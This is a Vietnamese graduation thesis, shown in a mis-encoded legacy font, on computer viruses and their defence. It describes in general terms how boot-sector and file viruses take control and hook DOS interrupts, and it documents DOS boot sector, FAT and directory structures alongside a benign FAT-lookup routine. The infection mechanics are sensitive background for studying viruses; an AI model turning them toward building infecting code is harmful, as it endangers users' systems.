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Lêi nãi ®Çu 

Virus tin häc hiÖn nay ®ang lµ nçi b¨n kho¨n lo l¾ng cña 
nh÷ng ng−êi lµm c«ng t¸c tin häc, lµ nçi lo sî cña nh÷ng ng−êi sö 
dông khi m¸y tÝnh cña m×nh bÞ nhiÔm virus. Khi m¸y tÝnh cña 
m×nh bÞ nhiÔm virus, hä chØ biÕt tr«ng chê vµo c¸c phÇn mÒm diÖt 
virus hiÖn cã trªn thÞ tr−êng, trong tr−êng hîp c¸c phÇn mÒm nµy 
kh«ng ph¸t hiÖn hoÆc kh«ng tiªu diÖt ®−îc, hä bÞ l©m ph¶i t×nh 
huèng rÊt khã kh¨n, kh«ng biÕt ph¶i lµm nh− thÕ nµo. 

V× lý do ®ã, cã mét c¸ch nh×n nhËn c¬ b¶n vÒ hÖ thèng, c¬ 
chÕ vµ c¸c nguyªn t¾c ho¹t ®éng cña virus tin häc lµ cÇn thiÕt. 
Trªn c¬ së ®ã, cã mét c¸ch nh×n ®óng ®¾n vÒ virus tin häc trong 
viÖc phßng chèng, kiÓm tra, ch÷a trÞ còng nh− c¸ch ph©n tÝch, 
nghiªn cøu mét virus míi xuÊt hiÖn. 

§å ¸n nµy gi¶i quyÕt c¸c vÊn ®Ò võa nªu ra ë trªn. Nã ®−îc 
chia lµm 4 ch−¬ng: 

Ch−¬ng I. §Æt vÊn ®Ò. 

Ch−¬ng II. Tæng quan vÒ virus vµ hÖ thèng. 

Ch−¬ng III. Kh¶o s¸t virus One Half. 

Ch−¬ng IV. ThiÕt kÕ ch−¬ng tr×nh chèng virus. 

PhÇn phô lôc cuèi ®å ¸n liÖt kª toµn bé ch−¬ng tr×nh nguån 
cña ch−¬ng tr×nh kiÓm tra vµ kh«i phôc ®èi víi virus One Half. 

Trong qu¸ tr×nh x©y dùng ®å ¸n nµy, t«i ®· nhËn ®−îc nhiÒu 
sù gióp ®ì cña c¸c thÇy c« gi¸o, b¹n bÌ ®ång nghiÖp vµ gia ®×nh. 
T«i xin c¶m ¬n sù gióp ®ì nhiÖt t×nh cña thÇy NguyÔn Thanh 
Tïng, lµ thÇy gi¸o trùc tiÕp h−íng dÉn ®Ò tµi tèt nghiÖp cña t«i, 
c¶m ¬n c¸c thÇy c« gi¸o trong Khoa Tin häc, c¸c thÇy c« gi¸o vµ 
c¸c c¸n bé cña Trung t©m båi d−ìng c¸n bé Tr−êng §¹i häc B¸ch 
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khoa Hµ néi ®· t¹o ®iÒu kiÖn gióp ®ì t«i hoµn thµnh ®å ¸n nµy. 
T«i còng xin c¶m ¬n c¸c b¹n bÌ ®ång nghiÖp, ng−êi th©n trong 
gia ®×nh ®· t¹o ®iÒu kiÖn, ®éng viªn t«i trong qu¸ tr×nh lµm ®å ¸n. 

V× ®iÒu kiÖn vÒ thêi gian kh«ng nhiÒu, kinh nghiÖm cßn h¹n 
chÕ, kh«ng tr¸nh khái c¸c thiÕu sãt. T«i mong nhËn ®−îc c¸c ý 
kiÕn ®ãng gãp cña c¸c thÇy c« gi¸o vµ c¸c ®ång nghiÖp ®Ó c¸c 
ch−¬ng tr×nh sau nµy ®−îc tèt h¬n. 

 

 

 
Ch−¬ng I.  

§Æt vÊn ®Ò 

MÆc dï virus tin häc ®· xuÊt hiÖn tõ kh¸ l©u trªn thÕ giíi vµ 
trong n−íc ta, song ®èi víi ng−êi sö dông vµ c¶ nh÷ng ng−êi lµm 
c«ng t¸c tin häc, virus tin häc vÉn lµ vÊn ®Ò nan gi¶i, nhiÒu khi nã 
g©y c¸c tæn thÊt vÒ mÊt m¸t d÷ liÖu trªn ®Üa, g©y c¸c sù cè trong 
qu¸ tr×nh vËn hµnh m¸y. Sù nan gi¶i nµy cã nhiÒu lý do: Thø nhÊt, 
c¸c kiÕn thøc vÒ møc hÖ thèng khã h¬n c¸c kiÕn thøc vÒ lËp tr×nh 
trªn c¸c ng«n ng÷ bËc cao vµ c¸c ch−¬ng tr×nh øng dông, ®Æc biÖt 
nh÷ng th«ng tin cÇn thiÕt vÒ hÖ thèng kh«ng ®−îc DOS chÝnh thøc 
c«ng bè hoÆc lµ c¸c th«ng tin dµnh riªng (Reseved), ®iÒu nµy lµm 
cho nh÷ng ng−êi ®Ò cËp ë møc hÖ thèng kh«ng nhiÒu. Thø hai, 
hÇu nh− rÊt Ýt c¸c tµi liÖu vÒ virus tin häc ®−îc phæ biÕn, cã lÏ 
ng−êi ta nghÜ r»ng nÕu cã c¸c tµi liÖu ®Ò cËp tíi virus mét c¸ch tû 
mû, hÖ thèng th× sè ng−êi tß mß, nghÞch ngîm viÕt virus sÏ cßn 
t¨ng lªn n÷a! Thø ba, sè l−îng c¸c virus xuÊt hiÖn kh¸ ®«ng ®¶o, 
mçi virus cã mét ®Æc thï riªng, mét c¸ch ho¹t ®éng riªng vµ mét 
c¸ch ph¸ ho¹i riªng. §Ó t×m hiÓu cÆn kÏ vÒ mét virus kh«ng thÓ 
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mét thêi gian ng¾n ®−îc, ®iÒu nµy lµm n¶n lßng nh÷ng ng−êi lËp 
tr×nh muèn t×m hiÓu vÒ virus. 

Tuy ®· xuÊt hiÖn kh¸ nhiÒu nh÷ng ch−¬ng tr×nh tiªu diÖt virus 
vµ kh«i phôc l¹i ®Üa, kh«i phôc l¹i c¸c file bÞ nhiÔm song trong 
nh÷ng tr−êng hîp cô thÓ, ®«i khi c¸c phÇn mÒm nµy còng kh«ng 
gi¶i quyÕt ®−îc vÊn ®Ò. Cã nhiÒu lý do: Thø nhÊt, mçi ch−¬ng 
tr×nh chØ tiªu diÖt mét sè lo¹i virus mµ nã biÕt. Thø hai, chóng ta 
®Òu biÕt r»ng sau khi mét virus nµo ®ã xuÊt hiÖn, nã míi ®−îc 
nghiªn cøu vµ m· nhËn biÕt cña nã míi ®−îc ®−a vµo danh môc, 
khi ®ã ch−¬ng tr×nh míi cã kh¶ n¨ng tiªu diÖt ®−îc. §iÒu ®ã cã 
nghÜa lµ cã thÓ cã c¸c lo¹i virus xuÊt hiÖn trong m¸y tÝnh cña 
chóng ta mµ c¸c ch−¬ng tr×nh kiÓm tra virus vÉn cø th«ng b¸o 
"OK". §Æc biÖt lµ c¸c virus do nh÷ng ng−êi lËp tr×nh trong n−íc 
viÕt, hÇu hÕt kh«ng ®−îc cËp nhËt vµo trong c¸c ch−¬ng tr×nh 
kiÓm tra vµ tiªu diÖt virus nh− SCAN, F-PROT, UNVIRUS,... 

V× c¸c lý do nªu trªn, viÖc phßng chèng virus vÉn lµ biÖn 
ph¸p tèt nhÊt ®Ó tr¸nh viÖc virus x©m nhËp vµo trong hÖ thèng 
m¸y cña m×nh. Trong tr−êng hîp ph¸t hiÖn cã virus x©m nhËp, 
ngoµi viÖc sö dông c¸c ch−¬ng tr×nh diÖt virus hiÖn ®ang cã mÆt 
trªn thÞ tr−êng, viÖc hiÓu biÕt c¬ chÕ, c¸c ®Æc ®iÓm phæ biÕn cña 
virus lµ nh÷ng kiÕn thøc mµ nh÷ng ng−êi lµm c«ng t¸c tin häc nªn 
biÕt ®Ó cã c¸c xö lý phï hîp. 

Néi dung cña ®å ¸n nµy ®−a ra mét sè ph©n tÝch c¬ b¶n ®èi 
víi m¶ng kiÕn thøc hÖ thèng, c¸c nguyªn t¾c thiÕt kÕ, ho¹t ®éng 
cña c¸c lo¹i virus nãi chung, ¸p dông trong ph©n tÝch virus One 
Half. Trªn c¬ së ®ã, ®Ò cËp tíi ph−¬ng ph¸p phßng tr¸nh, ph¸t 
hiÖn vµ ph©n tÝch víi mét virus nµo ®ã. C¸c kiÕn thøc nµy céng 
víi c¸c phÇn mÒm diÖt virus hiÖn cã trªn thÞ tr−êng cã t¸c dông 
trong viÖc h¹n chÕ sù l©y lan, ph¸ ho¹i cña virus nãi chung. 
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Ch−¬ng II. 

Tæng quan 

I. Giíi thiÖu tæng qu¸t vÒ virus tin häc. 

1. Virus tin häc. 

ThuËt ng÷ virus tin häc dïng ®Ó chØ mét ch−¬ng tr×nh m¸y 
tÝnh cã thÓ tù sao chÐp chÝnh nã lªn n¬i kh¸c (®Üa hoÆc file) mµ 
ng−êi sö dông kh«ng hay biÕt. Ngoµi ra, mét ®Æc ®iÓm chung 
th−êng thÊy trªn c¸c virus tin häc lµ tÝnh ph¸ ho¹i, nã g©y ra lçi 
thi hµnh, thay ®æi vÞ trÝ, m· ho¸ hoÆc huû th«ng tin trªn ®Üa. 

2. ý t−ëng vµ lÞch sö. 

Lý thuyÕt vÒ mét ch−¬ng tr×nh m¸y tÝnh cã thÓ tù nh©n lªn 
nhiÒu lÇn ®−îc ®Ò cËp tíi tõ rÊt sím, tr−íc khi chiÕc m¸y tÝnh ®iÖn 
tö ®Çu tiªn ra ®êi. Lý thuyÕt nµy ®−îc ®−a ra n¨m 1949 bëi Von 
Neumann, trong mét bµi b¸o nhan ®Ò 'Lý thuyÕt vµ c¬ cÊu cña c¸c 
phÇn tö tù hµnh phøc t¹p' (Theory and Organization of 
Complicated Automata). 

Sau khi m¸y tÝnh ®iÖn tö ra ®êi, xuÊt hiÖn mét trß ch¬i tªn lµ 
'Core War', do mét sè th¶o ch−¬ng viªn cña h·ng AT&T's Bell 
ph¸t triÓn. Trß ch¬i nµy lµ mét cuéc ®Êu trÝ gi÷a hai ®o¹n m· cña 
hai th¶o ch−¬ng viªn, mçi ®o¹n m· ®Òu cè g¾ng tù nh©n lªn vµ 
tiªu diÖt ®o¹n m· cña ®èi ph−¬ng. §Õn 5/1984, Core War ®−îc 
m« t¶ trªn b¸o chÝ vµ b¸n nh− mét trß ch¬i m¸y tÝnh. 

Nh÷ng virus tin häc ®Çu tiªn ®−îc t×m thÊy trªn m¸y PC vµo 
kho¶ng 1986-1987. C¸c virus th−êng cã mét xuÊt ph¸t ®iÓm lµ 
c¸c tr−êng §¹i häc, n¬i cã c¸c sinh viªn giái, thÝch tù kh¼ng ®Þnh 
m×nh! 
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3. Ph©n lo¹i: 

Th«ng th−êng, dùa vµo ®èi t−îng l©y lan lµ file hay ®Üa mµ 
virus ®−îc chia thµnh hai nhãm chÝnh: 

- B-virus: Virus chØ tÊn c«ng lªn Master Boot hay Boot 
Sector. 

- F-virus: Virus chØ tÊn c«ng lªn c¸c file kh¶ thi. 

MÆc dï vËy, c¸ch ph©n chia nµy còng kh«ng h¼n lµ chÝnh 
x¸c. Ngo¹i lÖ vÉn cã c¸c virus võa tÊn c«ng lªn Master Boot (Boot 
Sector) võa tÊn c«ng lªn file kh¶ thi. 

§Ó cã mét c¸ch nh×n tæng quan vÒ virus, chóng ta xem chóng 
dµnh quyÒn ®iÒu khiÓn nh− thÕ nµo. 

a. B-virus. 

Khi m¸y tÝnh b¾t ®Çu khëi ®éng (Power on), c¸c thanh ghi 
ph©n ®o¹n ®Òu ®−îc ®Æt vÒ 0FFFFh, cßn mäi thanh ghi kh¸c ®Òu 
®−îc ®Æt vÒ 0. Nh− vËy, quyÒn ®iÒu khiÓn ban ®Çu ®−îc trao cho 
®o¹n m· t¹i 0FFFFh: 0h, ®o¹n m· nµy thùc ra chØ lµ lÖnh nh¶y 
JMP FAR ®Õn mét ®o¹n ch−¬ng tr×nh trong ROM, ®o¹n ch−¬ng 
tr×nh nµy thùc hiÖn qu¸ tr×nh POST (Power On Self Test - Tù kiÓm 
tra khi khëi ®éng). 

Qu¸ tr×nh POST sÏ lÇn l−ît kiÓm tra c¸c thanh ghi, kiÓm tra 
bé nhí, khëi t¹o c¸c Chip ®iÒu khiÓn DMA, bé ®iÒu khiÓn ng¾t, 
bé ®iÒu khiÓn ®Üa... Sau ®ã nã sÏ dß t×m c¸c Card thiÕt bÞ g¾n 
thªm ®Ó trao quyÒn ®iÒu khiÓn cho chóng tù khëi t¹o råi lÊy l¹i 
quyÒn ®iÒu khiÓn. Chó ý r»ng ®©y lµ ®o¹n ch−¬ng tr×nh trong 
ROM (Read Only Memory) nªn kh«ng thÓ söa ®æi, còng nh− 
kh«ng thÓ chÌn thªm mét ®o¹n m· nµo kh¸c. 

Sau qu¸ tr×nh POST, ®o¹n ch−¬ng tr×nh trong ROM tiÕn hµnh 
®äc Boot Sector trªn ®Üa A hoÆc Master Boot trªn ®Üa cøng vµo 
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RAM (Random Acess Memory) t¹i ®Þa chØ 0:7C00h vµ trao quyÒn 
®iÒu khiÓn cho ®o¹n m· ®ã b»ng lÖnh JMP FAR 0:7C00h. §©y lµ 
chç mµ B-virus lîi dông ®Ó tÊn c«ng vµo Boot Sector (Master 
Boot), nghÜa lµ nã sÏ thay Boot Sector (Master Boot) chuÈn b»ng 
®o¹n m· virus, v× thÕ quyÒn ®iÒu khiÓn ®−îc trao cho virus, nã sÏ 
tiÕn hµnh c¸c ho¹t ®éng cña m×nh tr−íc, råi sau ®ã míi tiÕn hµnh 
c¸c thao t¸c nh− th«ng th−êng: §äc Boot Sector (Master Boot) 
chuÈn mµ nã cÊt giÊu ë ®©u ®ã vµo 0:7C00h råi trao quyÒn ®iÒu 
khiÓn cho ®o¹n m· chuÈn nµy, vµ ng−êi sö dông cã c¶m gi¸c r»ng 
m¸y tÝnh cña m×nh vÉn ho¹t ®éng b×nh th−êng. 

b. F-virus. 

Khi DOS tæ chøc thi hµnh File kh¶ thi (b»ng chøc n¨ng 4Bh 
cña ng¾t 21h), nã sÏ tæ chøc l¹i vïng nhí, t¶i File cÇn thi hµnh vµ 
trao quyÒn ®iÒu khiÓn cho File ®ã. F-virus lîi dông ®iÓm nµy b»ng 
c¸ch g¾n ®o¹n m· cña m×nh vµo file ®óng t¹i vÞ trÝ mµ DOS trao 
quyÒn ®iÒu khiÓn cho File sau khi ®· t¶i vµo vïng nhí. Sau khi F-
virus tiÕn hµnh xong c¸c ho¹t ®éng cña m×nh, nã míi s¾p xÕp, bè 
trÝ tr¶ l¹i quyÒn ®iÒu khiÓn cho File ®Ó cho File l¹i tiÕn hµnh ho¹t 
®éng b×nh th−êng, vµ ng−êi sö dông th× kh«ng thÓ biÕt ®−îc. 

Trong c¸c lo¹i B-virus vµ F-virus, cã mét sè lo¹i sau khi dµnh 
®−îc quyÒn ®iÒu khiÓn, sÏ tiÕn hµnh cµi ®Æt mét ®o¹n m· cña 
m×nh trong vïng nhí RAM nh− mét ch−¬ng tr×nh th−êng tró 
(TSR), hoÆc trong vïng nhí n»m ngoµi tÇm kiÓm so¸t cña DOS, 
nh»m môc ®Ých kiÓm so¸t c¸c ng¾t quan träng nh− ng¾t 21h, ng¾t 
13h,... Mçi khi c¸c ng¾t nµy ®−îc gäi, virus sÏ dµnh quyÒn ®iÒu 
khiÓn ®Ó tiÕn hµnh c¸c ho¹t ®éng cña m×nh tr−íc khi tr¶ l¹i c¸c 
ng¾t chuÈn cña DOS. 

§Ó cã c¸c c¬ së trong viÖc kh¶o s¸t virus, chóng ta cÇn cã c¸c 
ph©n tÝch ®Ó hiÓu râ vÒ cÊu tróc ®Üa, c¸c ®o¹n m· trong Boot 
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Sector (Master Boot) còng nh− c¸ch thøc DOS tæ chøc, qu¶n lý 
cïng nhí vµ tæ chøc thi hµnh mét File kh¶ thi nh− thÕ nµo. 

II. §Üa - Tæ chøc th«ng tin trªn ®Üa. 

1. CÊu tróc vËt lý. 

C¸c lo¹i ®Üa (®Üa cøng vµ ®Üa mÒm) ®Òu l−u tr÷ th«ng tin dùa 
trªn nguyªn t¾c tõ ho¸: §Çu tõ ®äc-ghi sÏ tõ ho¸ c¸c phÇn tö cùc 
nhá trªn bÒ mÆt ®Üa. D÷ liÖu trªn ®Üa ®−îc ghi theo nguyªn t¾c rêi 
r¹c (digital), nghÜa lµ sÏ mang gi¸ trÞ 1 hoÆc 0. §Ó cã thÓ tæ chøc 
th«ng tin trªn ®Üa, ®Üa ph¶i ®−îc ®Þa chØ ho¸. Nguyªn t¾c ®Þa chØ 
ho¸ dùa trªn c¸c kh¸i niÖm sau ®©y: 

a. Side:  

§ã lµ mÆt ®Üa, ®èi víi ®Üa mÒm cã hai mÆt ®Üa, ®èi víi ®Üa 
cøng cã thÓ cã  nhiÒu mÆt ®Üa. §Ó lµm viÖc víi mçi mÆt ®Üa cã 
mét ®Çu tõ t−¬ng øng, v× thÕ ®«i khi ng−êi ta cßn gäi lµ Header. 
Side ®−îc ®¸nh sè lÇn l−ît b¾t ®Çu tõ 0, ch¼ng h¹n ®èi víi ®Üa 
mÒm, mÆt trªn lµ mÆt 0, mÆt d−íi lµ mÆt 1, ®èi víi ®Üa cøng còng 
t−¬ng tù nh− vËy sÏ ®−îc ®¸nh sè lµ 0,1,2,3... 

b. Track: 

Lµ c¸c vßng trßn ®ång t©m trªn mÆt ®Üa, n¬i tËp trung c¸c 
phÇn tö tõ ho¸ trªn bÒ mÆt ®Üa ®Ó l−u tr÷ th«ng tin. C¸c track ®¸nh 
sè tõ bªn ngoµi vµo trong, b¾t ®Çu tõ 0. 

c. Cylinder:  

Mét bé c¸c track cïng thø tù trªn mäi mÆt ®Üa ®−îc tham 
chiÕu ®Õn nh− mét phÇn tö duy nhÊt, ®ã lµ Cylinder. Sè hiÖu cña 
Cylinder chÝnh lµ sè hiÖu cña c¸c track trong Cylinder ®ã. 

d. Sector: 
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Bé ®iÒu khiÓn ®Üa th−êng ®−îc thiÕt kÕ ®Ó cã thÓ ®äc vµ ghi 
mçi lÇn chØ tõng ph©n ®o¹n cña track, mçi ph©n ®o¹n nµy gäi lµ 
mét sector, d−íi hÖ ®iÒu hµnh DOS, dung l−îng mét sector lµ 512 
byte. C¸c sector trªn track ®−îc ®¸nh ®Þa chØ, th«ng th−êng hiÖn 
nay ng−êi ta sö dông ph−¬ng ph¸p ®¸nh sè sector mÒm, nghÜa lµ 
m· ho¸ ®Þa chØ cña sector vµ g¾n vµo phÇn ®Çu cña sector ®ã. 

Ngoµi kh¸i niÖm Sector, DOS cßn ®−a ra kh¸i niÖm Cluster, 
nh»m môc ®Ých qu¶n lý ®Üa ®−îc tèt h¬n. Cluster bao gåm tËp hîp 
c¸c Sector, lµ ®¬n vÞ mµ DOS dïng ®Ó ph©n bæ khi l−u tr÷ c¸c file 
trªn ®Üa. Tuú dung l−îng ®Üa mµ sè l−îng Sector trªn mét Cluster 
cã thÓ lµ 1, 2 (®èi víi ®Üa mÒm) hoÆc 4, 8, 16 (®èi víi ®Üa cøng). 

2. CÊu tróc logic: 

§èi víi mäi lo¹i ®Üa, DOS ®Òu tæ chøc ®Üa thµnh hai phÇn: 
PhÇn hÖ thèng vµ phÇn d÷ liÖu. PhÇn hÖ thèng bao gåm ba phÇn 
con: Boot Sector, b¶ng FAT (File Alocation Table) vµ Root 
Directory. §èi víi ®Üa cøng, DOS cho phÐp chia thµnh nhiÒu phÇn 
kh¸c nhau, cho nªn cßn cã mét cÊu tróc ®Æc biÖt kh¸c lµ Partition 
Table. 

Sau ®©y chóng ta ®Ò cËp tíi tõng phÇn mét: 

a. Boot Sector. 

§èi víi ®Üa mÒm, Boot Sector chiÕm trªn Sector 1, Side 0, 
Cylinder 0. §èi víi ®Üa cøng, vÞ trÝ trªn dµnh cho b¶ng Partition, 
cßn Boot Sector chiÕm sector ®Çu tiªn trªn c¸c æ ®Üa logÝc. 

Khi khëi ®éng m¸y, Boot Sector ®−îc ®äc vµo ®Þa chØ 0: 
7C00h vµ ®−îc trao quyÒn ®iÒu khiÓn. §o¹n m· trong Boot Sector 
cã c¸c nhiÖm vô nh− sau: 

- Thay l¹i b¶ng tham sè ®Üa mÒm (ng¾t 1Eh). 

- §Þnh vÞ vµ ®äc Sector ®Çu tiªn cña Root vµo ®Þa chØ 0:0500h 
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- Dß t×m, ®äc c¸c file hÖ thèng nÕu cã vµ trao quyÒn ®iÒu 
khiÓn cho chóng. 

Ngoµi ra, Boot Sector cßn chøa mét b¶ng tham sè quan träng 
®Õn cÊu tróc ®Üa, b¶ng tham sè nµy b¾t ®Çu t¹i offset 0Bh cña Boot 
Sector, cô thÓ cÊu tróc nµy nh− sau: 
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Offset Siz
e 

Néi 
dung 

Gi¶i thÝch 

+0h 3 JMP 
xxxx 

LÖnh nh¶y ®Õn ®Çu ®o¹n m· Boot. 

+3h 8  Tªn cña hÖ thèng ®· format ®Üa. 

Start of BPB----------------(Bios Parameter Block) 

+0Bh 2 SectSiz Sè byte trong mét Sector. 

+0Dh 1 ClustSiz Sè Sector trong mét Cluter. 

+0Eh 2 ResSecs Sè l−îng Sector dµnh riªng (tr−íc 
FAT). 

+10h 1 FatCnt Sè b¶ng FAT. 

+11h 2 RootSiz Sè ®Çu vµo tèi ®a cho Root (32 
byte cho mçi ®Çu vµo). 

+13h 2 TotSecs Tæng sè sector trªn ®Üa (hoÆc 
Partition) trong tr−êng hîp dung 
l−îng < 32MB. 

+15h 1 Media Media descriptor ®Üa (gièng nh− 
byte ®Çu b¶ng FAT). 

+16h 2 FatSize Sè l−îng Sector cho mçi b¶ng 
FAT. 

End of BPB----------------- 

+18h 2 TrkSecs Sè l−îng Sector trªn mét track. 

+1Ah 2 HeadCnt Sè l−îng ®Çu ®äc ghi. 

+1Ch 2 HidnSec Sè sector dÊu mÆt (®−îc dïng 
trong cÊu tróc Partition). 

+1Eh   §Çu ®o¹n m· trong Boot Sector. 
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Trªn ®©y lµ b¶ng tham sè ®Üa khi format ®Üa b»ng DOS c¸c 
Version tr−íc ®©y. Tõ DOS Version 4.0 trë ®i, cã mét sù më réng 
®Ó cã thÓ qu¶n lý ®−îc c¸c ®Üa cã dung l−îng lín h¬n 32MB, sù 
më réng nµy b¾t ®Çu tõ offset +1Ch ®Ó gi÷ nguyªn c¸c cÊu tróc 
tr−íc ®ã. PhÇn më réng thªm cã cÊu tróc nh− sau: 
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Offse
t 

Size Néi dung Gi¶i thÝch 

+1Ch 4 HidnSec Sè Sector dÊu mÆt (®· ®−îc ®iÒu 
chØnh lªn 32 bit). 

+20h 4 TotSec Tæng sè Sector trªn ®Üa khi gi¸ trÞ ë 
offset +13h b»ng 0. 

+24h 1 PhsDsk Sè ®Üa vËt lý (0: ®Üa mÒm, 80: ®Üa 
cøng 1, 81: ®Üa cøng 2). 

+25h 1 Resever dµnh riªng. 

+26h 1  Ký hiÖu nhËn diÖn cña DOS 
Version x.xx 

+27h 4 Serial Lµ sè nhÞ ph©n 32 bit cho biÕt Serial 
Number. 

+2Bh B Volume Volume label 

+36h 8  Lo¹i b¶ng FAT 12 hay 16 bit. 
Th«ng tin nµy dµnh riªng cña DOS. 

+3Eh   §Çu ®o¹n m· ch−¬ng tr×nh. 

PhÇn m· trong Boot Sector sÏ ®−îc ph©n tÝch mét c¸ch chi 
tiÕt trong phÇn sau nµy. 

b. FAT (File Alocation Table). 

B¶ng FAT lµ vïng th«ng tin ®Æc biÖt trong phÇn hÖ thèng, 
dïng ®Ó l−u tr¹ng th¸i c¸c Cluster trªn ®Üa, qua ®ã DOS cã thÓ 
qu¶n lý ®−îc sù ph©n bè File. 

C¸ch tham chiÕu ®Õn mét ®Þa chØ trªn ®Üa th«ng qua sè hiÖu 
Side, Cylinder, Sector lµ c¸ch lµm cña ng¾t 13h cña BIOS vµ còng 
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lµ c¸ch lµm cña bé ®iÒu khiÓn ®Üa. Ngoµi c¸ch tham chiÕu trªn, 
DOS ®−a ra mét c¸ch tham chiÕu kh¸c chØ theo mét th«ng sè: ®ã 
lµ sè hiÖu Sector. C¸c Sector ®−îc ®¸nh sè b¾t ®Çu tõ 0 mét c¸ch 
tuÇn tù tõ Sector 1, Track 0, Side 0 cho ®Õn hÕt sè Sector trªn 
Track nµy, råi chuyÓn sang Sector 1, Track 0, Side 1,... TÊt c¶ c¸c 
Sector cña mét Cylinder sÏ ®−îc ®¸nh sè tuÇn tù tr−íc khi DOS 
chuyÓn sang Track kÕ tiÕp. C¸ch ®¸nh sè nµy gäi lµ ®¸nh sè 
Sector logic, vµ ®−îc DOS sö dông cho c¸c t¸c vô cña m×nh. 

Kh¸i niÖm Cluster chØ dïng ®Ó ph©n bæ ®Üa ®Ó l−u tr÷ File, 
cho nªn chØ b¾t ®Çu ®¸nh sè Cluster tõ nh÷ng Sector ®Çu tiªn cña 
phÇn d÷ liÖu (phÇn ngay sau Root). Sè hiÖu ®Çu tiªn ®Ó ®¸nh sè 
Cluster lµ 2, nh»m môc ®Ých thèng nhÊt trong c¸ch qu¶n lý th«ng 
tin trong b¶ng FAT. 

Néi dung cña FAT: 

Mçi Cluster trªn ®Üa ®−îc DOS qu¶n lý b»ng mét entry, hai 
entry ®Çu tiªn dïng ®Ó chøa th«ng tin nhËn d¹ng ®Üa, ®ã lµ lý do 
Cluster ®−îc ®¸nh sè b¾t ®Çu tõ 2. Entry 2 chøa th«ng tin cña 
Cluster 1, Entry 3 chøa th«ng tin cña  Cluster 2,... Gi¸ trÞ cña 
entry trong b¶ng FAT cã ý nghÜa nh− sau: 

Gi¸ trÞ ý nghÜa 

0 Cluster cßn trèng, cã thÓ ph©n bæ ®−îc 

(0)002-
(F)FEF 

Cluster ®ang chøa d÷ liÖu c¶ mét File nµo ®ã, 
gi¸ trÞ cña nã lµ sè Cluster kÕ tiÕp trong 
Chain. 

(F)FF0-
(F)FF6 

Dµnh riªng, kh«ng dïng 

(F)FF7 Cluster háng 
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(F)FF8-
(F)FFF 

Lµ Cluster cuèi cïng cña Chain. 

§èi víi ®Üa mÒm vµ ®Üa cøng cã dung l−îng nhá, DOS sö 
dông b¶ng FAT-12, nghÜa lµ sö dông 12 bit (1,5 byte) cho mét 
entry. §èi víi c¸c ®Üa cøng cã dung l−îng lín, DOS sö dông b¶ng 
FAT-16, nghÜa lµ sö dông 2 byte cho mét entry. C¸ch ®Þnh vÞ trªn 
hai b¶ng FAT nµy nh− sau: 

- §èi víi FAT-16: V× mçi entry chiÕm 2 byte, nªn vÞ trÝ cña 
Cluster tiÕp theo b»ng gi¸ trÞ cña Cluster hiÖn thêi nh©n víi 2. 

- §èi víi FAT-12: V× mçi entry chiÕm 1,5 byte, nªn vÞ trÝ cña 
Cluster tiÕp theo b»ng gi¸ trÞ cña Cluster hiÖn thêi nh©n víi 1,5. 
Gi¸ trÞ cô thÓ lµ 12 bit thÊp nÕu sè thø tù sè Cluster lµ ch½n, ng−îc 
l¹i lµ 12 bit cao trong word t¹i vÞ trÝ cña Cluster tiÕp theo ®ã. 

§o¹n ch−¬ng tr×nh sau ®©y minh häa c¸ch ®Þnh vÞ b¶ng FAT. 

Vµo: SI : Sè Cluster ®−a vµo. 
BiÕn FAT_type l−u lo¹i b¶ng FAT, nÕu bit 2 = 1 th× FAT 
lµ 16 bit. 

Ra: DX : Sè Cluster tiÕp theo. 
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Locate_Cluster proc 

mov  ax,3 
test  FAT_type,4 
je  FAT_12 
inc  ax 

FAT_12: 
mul  si 
shr  ax,1 
mov  bx,ax 
mov  dx,FAT_buff[bx] 
test  FAT_type,4 
jne  FAT_16 
mov  cl,4 
test  si,1 
je  Chan 
shr  dx,cl  ; LÎ th× lÊy 12 bit cao 

Chan: 
and  dh,0F  ; Ch½n th× lÊy 12 bit thÊp 

FAT_16: 
ret 

Locate_Cluster endp 

Mét vÝ dô vÒ phÇn ®Çu cña b¶ng FAT: 

  0
0 

0
1 

0
2 

0
3 

0
4 

0
5 

0
6 

0
7 

0
8 

0
9 

0
a 

0
b 

0
c 

0
d 

0
e 

0f 

0
0 

F
8 

F
F 

F
F 

F
F 

0
3 

0
0 

0
4 

0
0 

0
5 

0
0 

0
6 

0
0 

F
F 

F
F 

0
8 

0
0 

1
0 

0
9 

0
0 

0
A 

0
0 

0
B 

0
0 

F
F 

F
F 

F
F 

F
F 

B
9 

0
2 

F
F 

F
F 

F
F 

F
F 



 
www.nhipsongcongnghe.net 

 
16/233 

Mçi entry trong b¶ng FAT nµy chiÕm 2 byte (FAT 16bit), 2 
entry ®Çu tiªn cña b¶ng FAT nµy lµ gi¸ trÞ nhËn d¹ng ®Üa (FFF8-
FFFF), gi¸ trÞ cña Cluster 2 trá tíi Cluster 3, gi¸ trÞ cña Cluster 3 
l¹i trá tíi Cluster 4, ... cho ®Õn khi Cluster 6 cã gi¸ trÞ FFFF, 
nghÜa lµ kÕt thóc File. 

c. Root Directory. 

Root Directory cßn ®−îc gäi lµ th− môc gèc, n»m ngay sau 
FAT. Nã cã nhiÖm vô l−u gi÷ c¸c th«ng tin th− môc cña c¸c File 
trªn ®Üa. Mçi File ®−îc ®Æc tr−ng bëi entry (®Çu vµo) trong Root 
Director, mçi entry chiÕm 32 byte l−u gi÷ c¸c th«ng tin sau ®©y: 

Offset KÝch th−íc Néi dung 

+0h 8 Tªn file ®−îc canh tr¸i 

+8h 3 PhÇn më réng ®−îc canh tr¸i 

+0Bh 1 Thuéc tÝnh file 

+0Ch 0Ah Dµnh riªng 

+16h 2 Thêi gian t¹o lËp hay cËp nhËt lÇn 
cuèi. 

+18h 2 Ngµy th¸ng t¹o lËp hay cËp nhËt 
lÇn cuèi. 

+1Ah 2 Sè Cluster b¾t ®Çu cña file (trong 
FAT). 

+1Ch 4 KÝch th−íc file 

Byte thuéc tÝnh cã ý nghÜa nh− sau: 

7  6  5  4  3  2  1  0 

       =1: File chØ ®äc (Read Only) 

      =1: File Èn (Hidden) 
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     =1: File hÖ thèng (System) 

    =1: Volume Label 

   =1: Sub Directory 

  =1: File ch−a ®−îc backup (thuéc tÝnh archive) 

Ký tù ®Çu tiªn phÇn tªn file cã ý nghÜa nh− sau: 

0  Entry cßn trèng, ch−a dïng 

. (dÊu 
chÊm)  

DÊu hiÖu dµnh riªng cho DOS, dïng trong 
cÊu tróc th− môc con 

0E5h  Ký tù sigma nµy th«ng b¸o cho DOS biÕt 
entry cña file nµy ®· bÞ xo¸. 

Mét ký tù 
kh¸c 

Entry nµy ®ang l−u gi÷ th«ng tin vÒ mét file 
nµo ®ã. 
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d. Partition Table. 

